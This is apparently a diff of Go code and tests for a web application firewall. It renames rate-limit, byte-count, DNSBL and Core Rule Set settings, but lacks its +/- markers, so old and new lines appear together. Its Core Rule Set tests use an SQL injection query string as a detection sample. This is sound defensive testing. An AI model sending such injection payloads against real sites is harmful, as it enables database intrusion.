"SWW_WAF_COUNTRY_BYTES_PERCENT",
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT",
)
}
// The limits that lower requests and bytes alike.
common := lowest(otherTags, unknown, blocklisted, reputationListed)
common := lowest(otherTags, unknown, blocklisted, dnsblAbuseIPDBListed)
return lowest(asnRequests, countryRequests, common),
lowest(asnBytes, countryBytes, common)
+51 -37
View File
@@ -8,6 +8,7 @@ import (
"net/http/httptest"
"net/netip"
"path/filepath"
"strconv"
"strings"
"testing"
"testing/synctest"
@@ -22,10 +23,10 @@ import (
// The biased thresholds.
const (
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT"
countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT"
unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT"
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
asnBytesLimitPercent = "SWW_WAF_ASN_BYTES_LIMIT_PERCENT"
countryBytesLimitPercent = "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT"
unknownCountryLimitPercent = "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT"
)
const (
@@ -60,7 +61,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
}{
{tagLimitPercent, asnTagDEHalf, fromDE},
{tagLimitPercent, countryTagDEHalf, fromDE},
{unknownLimitPercent, "50", unplaced},
{unknownCountryLimitPercent, "50", unplaced},
} {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
@@ -108,9 +109,9 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
}{
{tagLimitPercent, asnTagDEHalf, fromDE},
{tagLimitPercent, "Country=de:50", fromDE},
{unknownLimitPercent, "50", unplaced},
{asnBytesPercent, "as64496:50", fromDE},
{countryBytesPercent, countryDEHalf, fromDE},
{unknownCountryLimitPercent, "50", unplaced},
{asnBytesLimitPercent, "as64496:50", fromDE},
{countryBytesLimitPercent, countryDEHalf, fromDE},
} {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
@@ -149,7 +150,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
}
}
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
t *testing.T,
) {
t.Parallel()
@@ -163,22 +164,28 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
}{
{
"lowering the byte limits alone",
map[string]string{asnBytesPercent: asnDEHalf},
none, "50 from " + asnBytesPercent, minuteBytes,
map[string]string{asnBytesLimitPercent: asnDEHalf},
none, "50 from " + asnBytesLimitPercent, minuteBytes,
},
{
"lowering the byte limits alone, by country",
map[string]string{countryBytesPercent: countryDEHalf},
none, "50 from " + countryBytesPercent, minuteBytes,
map[string]string{countryBytesLimitPercent: countryDEHalf},
none, "50 from " + countryBytesLimitPercent, minuteBytes,
},
{
"raising the byte limits back",
map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"},
map[string]string{
tagLimitPercent: asnTagDEHalf,
asnBytesLimitPercent: asnDE + ":100",
},
"50 from " + tagLimitPercent, none, "",
},
{
"raising the byte limits back, by country",
map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"},
map[string]string{
tagLimitPercent: countryTagDEHalf,
countryBytesLimitPercent: "de:100",
},
"50 from " + tagLimitPercent, none, "",
},
} {
@@ -214,7 +221,7 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
s, _, _ := startWithLookups(
t,
map[string]string{unknownLimitPercent: "0"},
map[string]string{unknownCountryLimitPercent: "0"},
)
// The first request breaks the limit, and bans the client; the log line
@@ -225,12 +232,12 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
requestlog.ActionClientIsRateLimited,
)
if line.fields["rate_limit_percent"] != float64(0) ||
line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
line.fields["rate_limit_percent_setting"] != unknownCountryLimitPercent {
t.Errorf(
"log line has rate_limit_percent %v from %v, want 0 from %s",
line.fields["rate_limit_percent"],
line.fields["rate_limit_percent_setting"],
unknownLimitPercent,
unknownCountryLimitPercent,
)
}
@@ -264,11 +271,11 @@ func TestLowestPercentageApplies(t *testing.T) {
},
{
"that for a client without a country",
map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"},
noCountry, "25 from " + unknownLimitPercent,
map[string]string{tagLimitPercent: "asn=64500:50", unknownCountryLimitPercent: "25"},
noCountry, "25 from " + unknownCountryLimitPercent,
},
{
// SWW_WAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is left at its default, 100.
"the AS number's, for a client without a country",
map[string]string{tagLimitPercent: "asn=64500:25"},
noCountry, "25 from " + tagLimitPercent,
@@ -296,13 +303,13 @@ func TestLowestPercentageApplies(t *testing.T) {
}
}
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
t *testing.T,
) {
t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
rateLimitPerMinute: fourAMinute, unknownCountryLimitPercent: "50",
})
// One the lookup database does not hold, and one on a private address,
@@ -323,14 +330,17 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
}
}
func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
t *testing.T,
) {
t.Parallel()
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers.
// In a synctest bubble, as
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
// a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{unknownLimitPercent: "0"})
map[string]string{unknownCountryLimitPercent: "0"})
// Once the time the request waits for its answer is up, the client
// counts as without a country, and its zero allowance refuses the
@@ -346,7 +356,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
)
wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
"0 from "+unknownLimitPercent)
"0 from "+unknownCountryLimitPercent)
})
}
@@ -365,22 +375,26 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
// A tag the lookup does not give needs no answer.
{tagLimitPercent, "vpn:50", false},
{tagDeny, "vpn", false},
{asnBytesPercent, asnDEHalf, true},
{countryBytesPercent, countryDEHalf, true},
{unknownLimitPercent, "99", true},
{asnBytesLimitPercent, asnDEHalf, true},
{countryBytesLimitPercent, countryDEHalf, true},
{unknownCountryLimitPercent, "99", true},
{asnLimitPercentURL, asnURL, true},
// At 100, its default, it lowers no limit.
{unknownLimitPercent, "100", false},
{unknownCountryLimitPercent, "100", false},
} {
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
t.Parallel()
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers.
// In a synctest bubble, as
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
// with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
asnAndCountryLookupTimeout: strconv.FormatInt(
timeout.Milliseconds(), 10),
tagLists: "vpn=" + vpnList,
tc.setting: tc.value,
})
began := time.Now()
@@ -449,10 +463,10 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
"a byte limit",
map[string]string{
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
asnBytesPercent: asnDEHalf,
asnBytesLimitPercent: asnDEHalf,
},
0, http.StatusOK, requestlog.ActionForward,
"bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
"bytes per minute over the limit of 99", "50 from " + asnBytesLimitPercent,
},
} {
t.Run(tc.name, func(t *testing.T) {
+1 -1
View File
@@ -1,6 +1,6 @@
package waf
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNT, and the byte limits
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNTED, and the byte limits
// and biased thresholds through the limiter and limitPercentages.
import (
+5 -5
View File
@@ -22,10 +22,10 @@ const (
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
bytesCount = "SWW_WAF_BYTES_COUNT"
bytesCounted = "SWW_WAF_BYTES_COUNTED"
)
// The values of SWW_WAF_BYTES_COUNT.
// The values of SWW_WAF_BYTES_COUNTED.
const (
countResponse = "response"
countRequest = "request"
@@ -212,7 +212,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
t,
answerAfterUpgrade,
map[string]string{
bytesLimitPerMinute: "29", bytesCount: tc.setting,
bytesLimitPerMinute: "29", bytesCounted: tc.setting,
},
)
@@ -239,7 +239,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
}
}
func TestBytesCountSaysWhichBytesCount(t *testing.T) {
func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
@@ -257,7 +257,7 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: byteLimit, bytesCount: tc.setting,
bytesLimitPerMinute: byteLimit, bytesCounted: tc.setting,
})
for i := 1; i <= tc.breaking; i++ {
+11 -11
View File
@@ -1,7 +1,7 @@
package waf
// The heuristic core_rule_set. It reads SWW_WAF_CORE_RULE_SET_MODE,
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
import (
"context"
@@ -17,7 +17,7 @@ import (
// SWW_WAF_CORE_RULE_SET_MODE is off or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
// exempts its path, as pathExempt decides, and notes the rules it matched and
// its score in the log line, and the rules in the metrics. A score at or over
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD is a match: it adds the tag
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD is a match: it adds the tag
// exploitsignature, raises the core_rule_set_match alert, and in block mode
// refuses the request with 403, which is an offence its client's history
// counts. Its figures are the score and the threshold.
@@ -31,8 +31,8 @@ func (coreRuleSet) check(
_ time.Time,
) *verdict {
cfg := rq.h.config
if cfg.WAFMode == config.WAFModeOff ||
pathExempt(rq.in, cfg.WAFExemptPaths) {
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff ||
pathExempt(rq.in, cfg.CoreRuleSetExemptPaths) {
return nil
}
@@ -50,10 +50,10 @@ func (coreRuleSet) check(
rq.line.CoreRuleSetScore = &result.Score
for _, id := range result.RuleIDs {
rq.h.metrics.CoreRuleSetMatched(cfg.WAFMode, id)
rq.h.metrics.CoreRuleSetMatched(cfg.CoreRuleSetMode, id)
}
threshold := cfg.WAFAnomalyThreshold
threshold := cfg.CoreRuleSetScoreThreshold
if threshold == 0 || result.Score < threshold {
return nil
}
@@ -61,7 +61,7 @@ func (coreRuleSet) check(
rq.addTag(config.ExploitSignatureTag)
rq.alertCoreRuleSetMatch(result)
if cfg.WAFMode == config.WAFModeDetect {
if cfg.CoreRuleSetMode == config.CoreRuleSetModeDetect {
return nil
}
@@ -78,7 +78,7 @@ func (coreRuleSet) check(
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
// which the Core Rule Set scored at result, at or over
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD. Its detail gives the rule ids, the
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. Its detail gives the rule ids, the
// score, the method and the path with the query, and, for a request that is
// not refused for it, the mode: detect, or observe in observe mode.
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
@@ -90,8 +90,8 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
}
switch {
case rq.h.config.WAFMode == config.WAFModeDetect:
detail["mode"] = config.WAFModeDetect
case rq.h.config.CoreRuleSetMode == config.CoreRuleSetModeDetect:
detail["mode"] = config.CoreRuleSetModeDetect
case rq.h.config.Observe:
detail["mode"] = "observe"
}
@@ -105,7 +105,7 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over " +
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
Detail: detail,
})
}
+56 -40
View File
@@ -18,20 +18,20 @@ import (
// The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and
// its two modes that inspect requests.
const (
wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD"
wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT"
apps = "SWW_WAF_APPS"
block = "block"
detect = "detect"
coreRuleSetScoreThreshold = "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD"
coreRuleSetDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
coreRuleSetExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
coreRuleSetBodyInspectionSize = "SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE"
apps = "SWW_WAF_APPS"
block = "block"
detect = "detect"
)
// formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded"
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies, 1K as a
// setting.
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
// read bodies, 1K as a setting.
const (
sizeLimit = 1 << 10
sizeLimitSetting = "1K"
@@ -39,7 +39,7 @@ const (
// sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
@@ -95,7 +95,7 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
s, _, _ := startWithClock(
t,
"",
map[string]string{wafMode: tc.mode},
map[string]string{coreRuleSetMode: tc.mode},
)
wantTags(
@@ -115,7 +115,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: detect, tagDeny: "exploitsignature",
coreRuleSetMode: detect, tagDeny: "exploitsignature",
})
line := s.request(client, sqlInjection, http.StatusForbidden,
@@ -167,7 +167,7 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
s, _, _ := startWithClock(
t,
"",
map[string]string{wafMode: tc.mode},
map[string]string{coreRuleSetMode: tc.mode},
)
line := s.requestWithHeader(
@@ -186,7 +186,11 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
s, _, _ := startWithClock(
t,
"",
map[string]string{coreRuleSetMode: block},
)
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
@@ -196,7 +200,11 @@ func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
s, _, _ := startWithClock(
t,
"",
map[string]string{coreRuleSetMode: block},
)
line := s.request(
client,
@@ -215,10 +223,10 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block,
wafExemptPaths: "/api/",
allowNets: allowed,
rulesDir: writeRules(t, testRules),
coreRuleSetMode: block,
coreRuleSetExemptPaths: "/api/",
allowNets: allowed,
ruleFilesDir: writeRules(t, testRules),
})
// A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
@@ -258,7 +266,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
wantCoreRuleSet(t, line, nil)
// With SWW_WAF_CORE_RULE_SET_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
s, _, _ = startWithClock(t, "", map[string]string{coreRuleSetMode: off})
line = s.request(
client,
sqlInjection,
@@ -268,14 +276,14 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
wantCoreRuleSet(t, line, nil)
}
func TestAnomalyThreshold(t *testing.T) {
func TestCoreRuleSetScoreThreshold(t *testing.T) {
t.Parallel()
// A score under the threshold, or with the threshold off, is logged,
// and refuses nothing.
for _, threshold := range []string{"6", off} {
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: threshold,
coreRuleSetMode: block, coreRuleSetScoreThreshold: threshold,
})
line := s.request(
@@ -288,7 +296,7 @@ func TestAnomalyThreshold(t *testing.T) {
}
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block, wafAnomalyThreshold: "5",
coreRuleSetMode: block, coreRuleSetScoreThreshold: "5",
})
s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
@@ -334,7 +342,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
s, _, _ := startWithClock(
t,
"",
map[string]string{wafMode: block},
map[string]string{coreRuleSetMode: block},
)
line, _ := s.requestWithBody(
request.method,
@@ -349,7 +357,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
// A list given replaces the default.
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafDisabledRules: "942100",
coreRuleSetMode: block, coreRuleSetDisabledRules: "942100",
})
score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody(
@@ -383,7 +391,7 @@ func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
const fileName = "/?path=.gitignore"
s := startWAF(t, "", map[string]string{
wafMode: block, apps: siteA + ":gitea",
coreRuleSetMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
@@ -409,13 +417,17 @@ func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
header := "Content-Type: " + formData + "\r\nContent-Length: " +
strconv.Itoa(len(body))
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
s, _, _ := startWithClock(
t,
"",
map[string]string{coreRuleSetMode: block},
)
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, new(0))
s, _, _ = startWithClock(t, "", map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting,
})
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
@@ -432,7 +444,7 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
_, _ = w.Write(body)
})
addr, out := startProxy(t, app.URL, map[string]string{
wafMode: block, wafBodyLimit: sizeLimitSetting,
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting,
})
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
@@ -496,7 +508,11 @@ func TestResponsesAreNotInspected(t *testing.T) {
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(page))
})
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
addr, out := startProxy(
t,
app.URL,
map[string]string{coreRuleSetMode: block},
)
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page {
@@ -510,13 +526,13 @@ func TestResponsesAreNotInspected(t *testing.T) {
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
t *testing.T,
) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
coreRuleSetMode: block, refusalsLimitPerMinute: "2", metricsToken: token,
})
for range 2 {
@@ -524,7 +540,7 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
requestlog.ActionBlockedByCoreRuleSet)
}
// The third refusal in a minute breaks the error burst, and bans the
// The third refusal in a minute breaks the refusal limit, and bans the
// client.
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
@@ -566,13 +582,13 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
)
}
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheRefusalLimit(
t *testing.T,
) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
coreRuleSetMode: detect, refusalsLimitPerMinute: "2", metricsToken: token,
})
for range 3 {
@@ -608,7 +624,7 @@ func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
s, _, server := startWithClock(
t,
"",
map[string]string{wafMode: block, mode: observe},
map[string]string{coreRuleSetMode: block, mode: observe},
)
line := s.request(
@@ -640,15 +656,15 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
action, alertMode string
}{
{
"block", map[string]string{wafMode: block},
"block", map[string]string{coreRuleSetMode: block},
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "",
},
{
"detect", map[string]string{wafMode: detect},
"detect", map[string]string{coreRuleSetMode: detect},
http.StatusOK, requestlog.ActionForward, detect,
},
{
"block in observe mode", map[string]string{wafMode: block, mode: observe},
"block in observe mode", map[string]string{coreRuleSetMode: block, mode: observe},
http.StatusOK, requestlog.ActionForward, observe,
},
} {
@@ -683,7 +699,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over " +
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
Detail: detail,
})
+17 -16
View File
@@ -53,8 +53,8 @@ func TestCountryLists(t *testing.T) {
})
geojsURL, _ := startGeoJS(t)
env := map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -109,7 +109,7 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h", allowedCountries: "de",
asnAndCountryLookupTimeout: "3600000", allowedCountries: "de",
})
line := s.get(
@@ -147,9 +147,9 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
})
geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
allowedCountries: "de",
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
allowedCountries: "de",
})
req := newRequest(
@@ -198,10 +198,10 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
allowedCountries: "de",
rateLimitPerMinute: "1",
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
allowedCountries: "de",
rateLimitPerMinute: "1",
})
request := func() answer {
@@ -248,8 +248,8 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t)
env := map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -352,10 +352,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
// each in an AS of its own, and no other address. It returns its URL, and
// what returns the addresses it has been asked about. A test that needs
// the stand-in to be asked or to answer sets SWW_WAF_LOOKUP_TIMEOUT to an
// hour, whether or not a request waits for the answer: on the default, a
// hold-up of the test process can abandon the request to the stand-in, and
// leave the client unknown.
// the stand-in to be asked or to answer sets
// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS to an hour, whether or not a
// request waits for the answer: on the default, a hold-up of the test
// process can abandon the request to the stand-in, and leave the client
// unknown.
func startGeoJS(t *testing.T) (string, func() []string) {
t.Helper()
+3 -3
View File
@@ -1,6 +1,6 @@
package waf
// The heuristic dnsbl. It reads SWW_WAF_REPUTATION_ACTION, and the DNSBL zones'
// The heuristic dnsbl. It reads SWW_WAF_DNSBL_ABUSEIPDB_ACTION, and the DNSBL zones'
// verdicts through the DNSBL checker.
import (
@@ -14,7 +14,7 @@ import (
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
// the request when SWW_WAF_REPUTATION_ACTION is deny. Being
// the request when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny. Being
// limit, it lowers the client's limits instead (see limitPercentages), and
// being log, it does nothing more. A zone without a verdict on the client is
// asked about it in the background, and the request does not wait for the
@@ -32,7 +32,7 @@ func (dnsbl) check(ctx context.Context, rq *request, _ time.Time) *verdict {
rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone))
}
if !rq.dnsblListed || rq.h.config.ReputationAction != deny {
if !rq.dnsblListed || rq.h.config.DNSBLAbuseIPDBAction != deny {
return nil
}
+1 -1
View File
@@ -7,7 +7,7 @@ import (
// To add a heuristic, write one file with a type that implements heuristic,
// and add one line for it to one of the lists below. Its settings go in
// config.Config, and the comment at the top of its file names them.
// config.WAF, and the comment at the top of its file names them.
// heuristic is one of the checks that decide what waf does with a
// request.
+3 -3
View File
@@ -18,9 +18,9 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "2",
tagDeny: denyKP,
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "2",
tagDeny: denyKP,
})
start := clk.Now()
+14 -10
View File
@@ -5,6 +5,7 @@ import (
"net/netip"
"path/filepath"
"slices"
"strconv"
"sync"
"testing"
"testing/synctest"
@@ -34,8 +35,8 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
// waitLimit.
geojsURL, asked, release := startHeldGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "1",
})
// fromDE's second request breaks the limit and bans it, and fromKP
@@ -104,9 +105,9 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
tagDeny: denyKP,
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
tagDeny: denyKP,
})
requestFromDE := func() *http.Request {
@@ -364,9 +365,9 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
geojsURL,
time.Now,
map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
addLookupHeaders: on,
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
addLookupHeaders: on,
},
)
